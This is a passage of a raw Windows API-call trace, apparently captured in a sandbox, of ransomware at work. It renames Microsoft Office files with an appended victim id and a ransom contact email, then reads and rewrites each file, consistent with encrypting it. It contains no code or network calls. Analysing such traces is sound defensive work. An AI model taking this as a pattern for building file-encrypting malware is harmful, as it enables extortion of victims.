48 [0149.063] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCMODVRD.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ocmodvrd.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCMODVRD.XML.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ocmodvrd.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0149.106] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0149.106] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCMODVRD.XML.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fc6c | out: lpFindFileData=0x537fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46b2075, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46b2075, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x46b2075, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x42c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCMODVRD.XML.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OCMODV~1.FIR")) returned 0x6d53c0 [0149.106] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0149.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCMODVRD.XML.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ocmodvrd.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b0 [0149.106] GetProcessHeap () returned 0x630000 [0149.106] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x441) returned 0x6672f8 [0149.106] GetProcessHeap () returned 0x630000 [0149.106] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x441) returned 0x6f19db0 [0149.106] SetFilePointerEx (in: hFile=0x6b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.106] ReadFile (in: hFile=0x6b0, lpBuffer=0x6672f8, nNumberOfBytesToRead=0x420, lpNumberOfBytesRead=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6672f8*, lpNumberOfBytesRead=0x537ff0c*=0x420, lpOverlapped=0x0) returned 1 [0149.112] GetProcessHeap () returned 0x630000 [0149.112] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee710 [0149.112] SetFilePointerEx (in: hFile=0x6b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.112] WriteFile (in: hFile=0x6b0, lpBuffer=0x6f19db0*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f19db0*, lpNumberOfBytesWritten=0x537ff0c*=0x420, lpOverlapped=0x0) returned 1 [0149.112] SetFilePointerEx (in: hFile=0x6b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.112] WriteFile (in: hFile=0x6b0, lpBuffer=0x6f1a1cf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f1a1cf*, lpNumberOfBytesWritten=0x537ff0c*=0x20, lpOverlapped=0x0) returned 1 [0149.112] SetFilePointerEx (in: hFile=0x6b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.112] WriteFile (in: hFile=0x6b0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x537ff0c*=0x4, lpOverlapped=0x0) returned 1 [0149.112] CloseHandle (hObject=0x6b0) returned 1 [0149.112] GetProcessHeap () returned 0x630000 [0149.112] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f19db0 | out: hHeap=0x630000) returned 1 [0149.112] GetProcessHeap () returned 0x630000 [0149.112] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6672f8 | out: hHeap=0x630000) returned 1 [0149.112] GetProcessHeap () returned 0x630000 [0149.112] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee710 | out: hHeap=0x630000) returned 1 [0149.379] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0149.379] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCMODVRD.XML.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fcc4 | out: lpFindFileData=0x537fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46b2075, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46b2075, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1ed38914, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x450, dwReserved0=0xa187496, dwReserved1=0x6672f0, cFileName="OCMODVRD.XML.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OCMODV~1.FIR")) returned 0x6d52c0 [0149.382] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0149.382] Sleep (dwMilliseconds=0x1) [0149.389] SysReAllocStringLen (in: pbstr=0x537ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME52.CSS", len=0x4a | out: pbstr=0x537ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME52.CSS") returned 1 [0149.389] GetProcessHeap () returned 0x630000 [0149.389] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fa4e00, Size=0x2748) returned 0x6fa4e00 [0149.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME52.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme52.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0149.401] CloseHandle (hObject=0x6a0) returned 1 [0149.401] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0149.401] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME52.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme52.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME52.CSS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme52.css.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0149.406] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0149.406] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME52.CSS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fc6c | out: lpFindFileData=0x537fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xacf29e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xad18c6e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e254, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME52.CSS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SCHEME~4.FIR")) returned 0x6d53c0 [0149.410] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0149.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME52.CSS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme52.css.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0149.411] GetProcessHeap () returned 0x630000 [0149.411] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70b1098 [0149.411] GetProcessHeap () returned 0x630000 [0149.411] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70bc4c8 [0149.412] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.412] ReadFile (in: hFile=0x4c0, lpBuffer=0x70b1098, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70b1098*, lpNumberOfBytesRead=0x537ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0156.136] GetProcessHeap () returned 0x630000 [0156.136] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176e58 [0156.136] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.136] WriteFile (in: hFile=0x4c0, lpBuffer=0x70bc4c8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70bc4c8*, lpNumberOfBytesWritten=0x537ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0158.358] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.359] WriteFile (in: hFile=0x4c0, lpBuffer=0x70c78c7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70c78c7*, lpNumberOfBytesWritten=0x537ff0c*=0x20, lpOverlapped=0x0) returned 1 [0158.359] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.359] WriteFile (in: hFile=0x4c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x537ff0c*=0x4, lpOverlapped=0x0) returned 1 [0158.359] CloseHandle (hObject=0x4c0) returned 1 [0158.359] GetProcessHeap () returned 0x630000 [0158.359] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70bc4c8 | out: hHeap=0x630000) returned 1 [0158.359] GetProcessHeap () returned 0x630000 [0158.359] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70b1098 | out: hHeap=0x630000) returned 1 [0158.365] GetProcessHeap () returned 0x630000 [0158.365] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176e58 | out: hHeap=0x630000) returned 1 [0158.365] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0158.365] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME52.CSS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fcc4 | out: lpFindFileData=0x537fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xacf29e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24573470, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1e278, dwReserved0=0xa187496, dwReserved1=0x70b1090, cFileName="SCHEME52.CSS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SCHEME~4.FIR")) returned 0x6d5000 [0158.365] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0158.365] Sleep (dwMilliseconds=0x1) [0161.140] SysReAllocStringLen (in: pbstr=0x537ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\LocalizedStrings.xml", len=0x66 | out: pbstr=0x537ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\LocalizedStrings.xml") returned 1 [0161.141] GetProcessHeap () returned 0x630000 [0161.141] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2bd0) returned 0x707d3d0 [0161.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\no\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0161.142] CloseHandle (hObject=0x5ec) returned 1 [0161.143] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0161.143] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\no\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\no\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0161.143] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0161.144] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fc6c | out: lpFindFileData=0x537fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167cf4d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x110c, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d4f00 [0161.144] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0161.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\no\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0161.144] GetProcessHeap () returned 0x630000 [0161.144] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1121) returned 0x714508 [0161.144] GetProcessHeap () returned 0x630000 [0161.144] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1121) returned 0x722a78 [0161.144] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.144] ReadFile (in: hFile=0x5ec, lpBuffer=0x714508, nNumberOfBytesToRead=0x1100, lpNumberOfBytesRead=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x714508*, lpNumberOfBytesRead=0x537ff0c*=0x1100, lpOverlapped=0x0) returned 1 [0161.162] GetProcessHeap () returned 0x630000 [0161.162] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71766b0 [0161.162] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.162] WriteFile (in: hFile=0x5ec, lpBuffer=0x722a78*, nNumberOfBytesToWrite=0x1100, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x722a78*, lpNumberOfBytesWritten=0x537ff0c*=0x1100, lpOverlapped=0x0) returned 1 [0161.162] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.162] WriteFile (in: hFile=0x5ec, lpBuffer=0x723b77*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x723b77*, lpNumberOfBytesWritten=0x537ff0c*=0x20, lpOverlapped=0x0) returned 1 [0161.163] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.163] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x537ff0c*=0x4, lpOverlapped=0x0) returned 1 [0161.163] CloseHandle (hObject=0x5ec) returned 1 [0161.163] GetProcessHeap () returned 0x630000 [0161.163] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x722a78 | out: hHeap=0x630000) returned 1 [0161.163] GetProcessHeap () returned 0x630000 [0161.163] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x714508 | out: hHeap=0x630000) returned 1 [0161.163] GetProcessHeap () returned 0x630000 [0161.163] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71766b0 | out: hHeap=0x630000) returned 1 [0161.163] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0161.163] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fcc4 | out: lpFindFileData=0x537fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167cf4d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2601f9a8, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1130, dwReserved0=0xa187496, dwReserved1=0x714500, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d54c0 [0161.163] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0161.163] Sleep (dwMilliseconds=0x1) [0161.197] SysReAllocStringLen (in: pbstr=0x537ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\db2v0801.xsl", len=0x66 | out: pbstr=0x537ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\db2v0801.xsl") returned 1 [0161.197] GetProcessHeap () returned 0x630000 [0161.197] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2bc4) returned 0x707d3d0 [0161.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\db2v0801.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\db2v0801.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0161.216] CloseHandle (hObject=0x6a4) returned 1 [0161.216] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0161.217] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\db2v0801.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\db2v0801.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\db2v0801.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\db2v0801.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0161.217] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0161.218] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\db2v0801.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fc6c | out: lpFindFileData=0x537fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x165b9401, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x165b9401, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x75ab, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="db2v0801.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DB2V08~1.FIR")) returned 0x6d5280 [0161.218] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0161.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\db2v0801.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\db2v0801.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0161.218] GetProcessHeap () returned 0x630000 [0161.218] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x75c1) returned 0x70a8ed8 [0161.218] GetProcessHeap () returned 0x630000 [0161.218] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x75c1) returned 0x70b04a8 [0161.218] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.218] ReadFile (in: hFile=0x6a4, lpBuffer=0x70a8ed8, nNumberOfBytesToRead=0x75a0, lpNumberOfBytesRead=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70a8ed8*, lpNumberOfBytesRead=0x537ff0c*=0x75a0, lpOverlapped=0x0) returned 1 [0165.889] GetProcessHeap () returned 0x630000 [0165.889] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee4e0 [0165.889] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.889] WriteFile (in: hFile=0x6a4, lpBuffer=0x70b04a8*, nNumberOfBytesToWrite=0x75a0, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70b04a8*, lpNumberOfBytesWritten=0x537ff0c*=0x75a0, lpOverlapped=0x0) returned 1 [0165.889] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.889] WriteFile (in: hFile=0x6a4, lpBuffer=0x70b7a47*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70b7a47*, lpNumberOfBytesWritten=0x537ff0c*=0x20, lpOverlapped=0x0) returned 1 [0165.890] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.890] WriteFile (in: hFile=0x6a4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x537ff0c*=0x4, lpOverlapped=0x0) returned 1 [0165.890] CloseHandle (hObject=0x6a4) returned 1 [0165.890] GetProcessHeap () returned 0x630000 [0165.890] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70b04a8 | out: hHeap=0x630000) returned 1 [0165.892] GetProcessHeap () returned 0x630000 [0165.892] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70a8ed8 | out: hHeap=0x630000) returned 1 [0165.892] GetProcessHeap () returned 0x630000 [0165.892] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee4e0 | out: hHeap=0x630000) returned 1 [0165.892] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0165.893] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\db2v0801.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fcc4 | out: lpFindFileData=0x537fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x165b9401, 